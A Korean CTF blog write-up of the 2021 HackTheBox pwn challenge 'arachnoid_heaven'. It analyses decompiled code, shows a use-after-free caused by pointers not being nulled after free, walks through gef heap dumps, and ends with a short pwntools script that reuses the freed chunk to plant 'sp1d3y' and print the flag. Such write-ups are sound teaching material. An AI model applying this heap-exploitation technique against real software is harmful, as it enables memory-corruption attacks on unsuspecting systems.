2021 HackTheBox - arachnoid_heaven

728x90

요약

UAF를 이용하는 문제

분석

create_arachnoid

  ppvVar1 = (void **)malloc(0x10);
  pvVar2 = malloc(0x28);
  *ppvVar1 = pvVar2;
  pvVar2 = malloc(0x28);
  ppvVar1[1] = pvVar2;
  printf("%s","\nName: ");
  read(0,*ppvVar1,20);
  strcpy((char *)ppvVar1[1],defaultCode);
  lVar3 = (long)(int)arachnoidCount;
  pvVar2 = ppvVar1[1];
  *(void **)(arachnoids + lVar3 * 0x80) = *ppvVar1;
  *(void **)(arachnoids + lVar3 * 0x80 + 8) = pvVar2;
  printf("Arachnoid Index: %d\n\n",(ulong)arachnoidCount);
  arachnoidCount = arachnoidCount + 1;

1. malloc을 이용하여 메모리 할당

2. malloc의 반환 값(청크 주소)를 특정 주소로 넣어준다

3. 여러 값 할당

 

delete_arachnoid

  if (((int)uVar1 < 0) || (arachnoidCount <= (int)uVar1)) {
                    /* uaf? */
    puts("Invalid Index!");
  }
  else {
    free(*(void **)(arachnoids + lVar2));
    free(*(void **)(arachnoids + lVar2 + 8));
  }

1. 메모리를 free 해준다. 이때 free를 하고 해당 주소를 NULL로 초기화 해주지 않아 UAF가 발생하게 된다.

 

obtain_arachnoid

  puts("Arachnoid: ");
  read(0,local_12,2);
  iVar1 = atoi(local_12);
  if ((iVar1 < 0) || (arachnoidCount <= iVar1)) {
    puts("Invalid Index!");
  }
  else {
    iVar1 = strncmp(*(char **)(arachnoids + (long)iVar1 * 0x80 + 8),"sp1d3y",6);
    if (iVar1 == 0) {
      system("cat flag.txt");
    }
    else {
      puts("Unauthorised!");
    }
  }

1. 특정 주소의 값이 "sp1d3y"이면, flag를 출력한다.

Exploit

create 함수 호출 후, "A"*8 후 청크 상태

gef➤  heap chunks
Chunk(addr=0x555555603010, size=0x290, flags=PREV_INUSE)
    [0x0000555555603010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x5555556032a0, size=0x20, flags=PREV_INUSE)
    [0x00005555556032a0     c0 32 60 55 55 55 00 00 f0 32 60 55 55 55 00 00    .2`UUU...2`UUU..]
Chunk(addr=0x5555556032c0, size=0x30, flags=PREV_INUSE)
    [0x00005555556032c0     41 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00    AAAAAAAA........]
Chunk(addr=0x5555556032f0, size=0x30, flags=PREV_INUSE)
    [0x00005555556032f0     62 61 64 00 00 00 00 00 00 00 00 00 00 00 00 00    bad.............]
Chunk(addr=0x555555603320, size=0x20cf0, flags=PREV_INUSE)  ←  top chunk

UAF가 터지는거 같으니 DELETE 함수 호출 후

gef➤  heap chunks
Chunk(addr=0x555555603010, size=0x290, flags=PREV_INUSE)
    [0x0000555555603010     00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x5555556032a0, size=0x20, flags=PREV_INUSE)
    [0x00005555556032a0     c0 32 60 55 55 55 00 00 f0 32 60 55 55 55 00 00    .2`UUU...2`UUU..]
Chunk(addr=0x5555556032c0, size=0x30, flags=PREV_INUSE)
    [0x00005555556032c0     00 00 00 00 00 00 00 00 10 30 60 55 55 55 00 00    .........0`UUU..]
Chunk(addr=0x5555556032f0, size=0x30, flags=PREV_INUSE)
    [0x00005555556032f0     62 61 64 00 00 00 00 00 00 00 00 00 00 00 00 00    bad.............]
Chunk(addr=0x555555603320, size=0x20cf0, flags=PREV_INUSE)  ←  top chunk

 

메모리 구조를 보자.

gef➤  x/40gx 0x555555603290
0x555555603290:	0x0000000000000000	0x0000000000000021
0x5555556032a0:	0x00005555556032c0	0x00005555556032f0
0x5555556032b0:	0x0000000000000000	0x0000000000000031
0x5555556032c0:	0x0000000000000000	0x0000555555603010
0x5555556032d0:	0x0000000000000000	0x0000000000000000
0x5555556032e0:	0x0000000000000000	0x0000000000000031
0x5555556032f0:	0x00005555556032c0	0x0000555555603010
0x555555603300:	0x0000000000000000	0x0000000000000000
0x555555603310:	0x0000000000000000	0x0000000000020cf1

 free 이후 32c0에 있는 "A"*8이 사라지고, bad가 있던 32f0에 32c0의 주소가 들어가 있다.

그리고 view를 이용하여 출력했을때 32c0의 값이 출력됨을 볼 수 있다.

 

그 후, 다시 create를 호출하여 값(hello)을 넣어주면, UAF에 의해 메모리가 재사용되고, code 부분에 입력한 hello가 들어가게 된다.

따라서 create -> delete -> create(sp1d3y)를 넣어준다면 code에 sp1d3y가 들어가게 되고, obtain함수를 호출하여 0번째 Arachnoid를 넣어준다면 flag가 출력될 것이다.

 

from pwn import *
context.arch="amd64"

p = process('./ara')
e = ELF('./ara')
def create(name):
    p.sendlineafter('> ', '1')
    p.sendafter(b'Name: ', name)

def delete(index):
    p.sendlineafter('> ', '2')
    p.sendlineafter('Index: ', str(index))

def view(index):
    p.sendlineafter('> ', '3')

def obtiain(arch):
    p.sendlineafter('> ', '4')
    p.sendlineafter(b'Arachnoid:', str(arch))

create(b'hello')
delete(0)
create(b'sp1d3y')
obtiain(0)

p.interactive()
728x90

'CTF 풀지못한 문제 - pwn' 카테고리의 다른 글

2021 SECCON CTF - Kasu bof  (0) 2021.12.13
TSG 2021 - Coffee  (0) 2021.10.05
ACSC2021 - Histogram  (0) 2021.09.19